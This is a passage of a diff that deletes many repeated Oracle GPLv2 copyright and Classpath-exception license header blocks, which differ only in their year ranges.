-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1997, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1998, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2000, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2001, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 1999, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
